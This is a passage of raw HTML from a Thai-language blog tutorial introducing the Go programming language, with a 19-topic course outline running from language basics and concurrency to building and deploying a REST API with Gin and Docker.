class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-01-at-3.04.52-PM.png" class="kg-image" alt loading="lazy" width="2000" height="748" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-01-at-3.04.52-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-01-at-3.04.52-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-01-at-3.04.52-PM.png 1600w, https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-01-at-3.04.52-PM.png 2354w" sizes="(min-width: 720px) 720px"><figcaption>Companies using Go (https://go.dev)</figcaption></figure><p>&#xE43;&#xE19;&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; 4 Part &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14; &#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04; &#xE41;&#xE25;&#xE30;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Go &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; Back End &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22; &#xE41;&#xE25;&#xE30;&#xE02;&#xE22;&#xE32;&#xE22;&#xE02;&#xE19;&#xE32;&#xE14;&#xE44;&#xE14;&#xE49;</p><p>&#xE44;&#xE21;&#xE48;&#xE27;&#xE48;&#xE32;&#xE04;&#xE38;&#xE13;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; Developer &#xE21;&#xE37;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C; &#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE38;&#xE13;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE0A;&#xE19;&#xE4C;&#xE08;&#xE32;&#xE01;&#xE1E;&#xE25;&#xE31;&#xE07;&#xE02;&#xE2D;&#xE07; Go &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; E-commerce Platform &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE15;&#xE47;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE42;&#xE14;&#xE22;&#xE08;&#xE30;&#xE21;&#xE35;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; 19 &#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D; &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ol><li><strong>&#xE23;&#xE39;&#xE49;&#xE08;&#xE31;&#xE01;&#xE20;&#xE32;&#xE29;&#xE32; Go</strong><br>&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE38;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE20;&#xE32;&#xE1E;&#xE23;&#xE27;&#xE21;&#xE02;&#xE2D;&#xE07;&#xE20;&#xE32;&#xE29;&#xE32;&#xE41;&#xE25;&#xE30;&#xE40;&#xE2B;&#xE15;&#xE38;&#xE1C;&#xE25;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE0A;&#xE49; Go</li><li><strong>ABC &#xE02;&#xE2D;&#xE07; Go</strong><br>&#xE2A;&#xE2D;&#xE19;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE40;&#xE0A;&#xE48;&#xE19; &#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; &#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE01;&#xE32;&#xE23;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE43;&#xE19;&#xE17;&#xE38;&#xE01;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE16;&#xE31;&#xE14;&#xE44;&#xE1B;</li><li><strong>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE43;&#xE08;&#xE43;&#xE19; Code</strong><br>&#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21; &#xE40;&#xE0A;&#xE48;&#xE19; if, else, loop &#xE15;&#xE48;&#xE2D;&#xE22;&#xE2D;&#xE14;&#xE08;&#xE32;&#xE01;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19; &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Program</li><li><strong>Function : &#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE33;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE0B;&#xE49;&#xE33;&#xE44;&#xE14;&#xE49;</strong><br>&#xE2A;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Function &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Code &#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE19;&#xE33;&#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;</li><li><strong>Array, Slice &#xE41;&#xE25;&#xE30; Map : &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE25;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE0A;&#xE48;&#xE2D;&#xE07;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE0A;&#xE48;&#xE2D;&#xE07;</strong><br>&#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Array, Slice &#xE41;&#xE25;&#xE30; Map &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE08;&#xE32;&#xE01;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01;</li><li><strong>Pointer : &#xE2A;&#xE48;&#xE07;&#xE23;&#xE35;&#xE42;&#xE21;&#xE17;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE43;&#xE0A;&#xE49; &#xE07;&#xE48;&#xE32;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE22;&#xE01;&#xE17;&#xE35;&#xE27;&#xE35;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE44;&#xE1B;&#xE43;&#xE2B;&#xE49;</strong><br>&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07; Pointer &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE02;&#xE2D;&#xE07; Go &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;</li><li><strong>Struct &#xE41;&#xE25;&#xE30; Method : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE40;&#xE2D;&#xE07;</strong><br>&#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Struct &#xE41;&#xE25;&#xE30; Method &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;</li><li><strong>Interface : &#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE08;&#xE31;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE43;&#xE2B;&#xE21;&#xE48;</strong><br>&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Interface &#xE15;&#xE48;&#xE2D;&#xE22;&#xE2D;&#xE14; Struct &#xE41;&#xE25;&#xE30; Method &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code</li><li><strong>Package &#xE41;&#xE25;&#xE30; Module : &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE41;&#xE1C;&#xE19;&#xE01;&#xE21;&#xE35;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; &#xE41;&#xE25;&#xE30;&#xE42;&#xE04;&#xE23;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE41;&#xE1C;&#xE19;&#xE01;</strong><br>&#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Code &#xE40;&#xE1B;&#xE47;&#xE19; Package &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Module &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE23;&#xE30;&#xE40;&#xE1A;&#xE35;&#xE22;&#xE1A; Code &#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;</li><li><strong>Errors, Defer, Panic &#xE41;&#xE25;&#xE30; Recover : &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;</strong><br>&#xE2A;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Error, Defer, Panic &#xE41;&#xE25;&#xE30; Recover &#xE15;&#xE48;&#xE2D;&#xE22;&#xE2D;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Program &#xE17;&#xE35;&#xE48;&#xE41;&#xE02;&#xE47;&#xE07;&#xE41;&#xE01;&#xE23;&#xE48;&#xE07;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;</li><li><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19; : &#xE25;&#xE2D;&#xE07;&#xE0A;&#xE34;&#xE21;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE2A;&#xE34;&#xE23;&#xE4C;&#xE1F;</strong><br>&#xE2A;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49; go test &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;</li><li><strong>&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; File &#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</strong><br>&#xE2A;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; File &#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; JSON</li><li><strong>&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;</strong><br>&#xE41;&#xE19;&#xE30;&#xE19;&#xE33; Goroutine, Channel &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; Concurrent &#xE23;&#xE27;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Program &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;</li><li><strong>Time Package &#xE41;&#xE25;&#xE30; Context : &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30;&#xE1A;&#xE23;&#xE34;&#xE1A;&#xE17;</strong><br>&#xE2A;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Time Package &#xE41;&#xE25;&#xE30; Context &#xE15;&#xE48;&#xE2D;&#xE22;&#xE2D;&#xE14;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; Concurrent &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;</li><li><strong>&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;</strong><br>&#xE2A;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Environment Variable &#xE43;&#xE0A;&#xE49;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; File &#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Program</li><li><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</strong><br>&#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; HTTP &#xE41;&#xE25;&#xE30; Gin Framework &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; REST API</li><li><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE02;&#xE31;&#xE49;&#xE19;&#xE2A;&#xE39;&#xE07;</strong><br>&#xE2A;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Interface &#xE41;&#xE25;&#xE30; Mock &#xE15;&#xE48;&#xE2D;&#xE22;&#xE2D;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19; &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Program &#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;</li><li><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Database &#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</strong><br>&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Application &#xE17;&#xE35;&#xE48;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C;&#xE02;&#xE36;&#xE49;&#xE19;</li><li><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong>&#xE01;&#xE32;&#xE23;</strong></strong></strong></strong></strong></strong></strong></strong></strong></strong>&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30; Deploy REST API &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE41;&#xE25;&#xE30; Docker Container</strong><br>&#xE1A;&#xE39;&#xE23;&#xE13;&#xE32;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE08;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; REST API &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE38;&#xE13;&#xE20;&#xE32;&#xE1E;</li></ol><p>&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30; <strong>Go</strong> &#xE01;&#xE31;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE22;&#xE31;&#xE07;? &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE14;&#xE34;&#xE19;&#xE17;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE04;&#xE38;&#xE13;&#xE01;&#xE31;&#xE1A; Golang &#xE41;&#xE25;&#xE30;&#xE1B;&#xE25;&#xE14;&#xE25;&#xE47;&#xE2D;&#xE01;&#xE28;&#xE31;&#xE01;&#xE22;&#xE20;&#xE32;&#xE1E;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Software &#xE17;&#xE35;&#xE48;&#xE22;&#xE2D;&#xE14;&#xE40;&#xE22;&#xE35;&#xE48;&#xE22;&#xE21;&#xE01;&#xE31;&#xE19;&#xE40;&#xE16;&#xE2D;&#xE30;!</p><h2 id="%E0%B8%A3%E0%B8%B9%E0%B9%89%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2-go">&#xE23;&#xE39;&#xE49;&#xE08;&#xE31;&#xE01;&#xE20;&#xE32;&#xE29;&#xE32; Go</h2><p>Go &#xE2B;&#xE23;&#xE37;&#xE2D; Golang &#xE40;&#xE1B;&#xE47;&#xE19; Programming Language &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Open Source Software &#xE0B;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE42;&#xE14;&#xE22; Google </p><p>Go &#xE40;&#xE1B;&#xE34;&#xE14;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE35; &#xE1E;.&#xE28;. 2552 &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13; 15 &#xE1B;&#xE35;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE21;&#xE32; &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19; Go &#xE08;&#xE36;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE01;&#xE27;&#xE48;&#xE32;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; Python, JavaScript &#xE41;&#xE25;&#xE30; Java &#xE41;&#xE15;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE32;&#xE22;&#xE38;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE20;&#xE32;&#xE29;&#xE32; Rust, Kotlin &#xE41;&#xE25;&#xE30; Typescript</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/42ac686c-eca1-432b-80a6-1950d9cdff61_1570x1794.webp" class="kg-image" alt loading="lazy" width="1456" height="1664" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/42ac686c-eca1-432b-80a6-1950d9cdff61_1570x1794.webp 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/42ac686c-eca1-432b-80a6-1950d9cdff61_1570x1794.webp 1000w, https://blog.pjjop.org/content/images/2024/12/42ac686c-eca1-432b-80a6-1950d9cdff61_1570x1794.webp 1456w" sizes="(min-width: 720px) 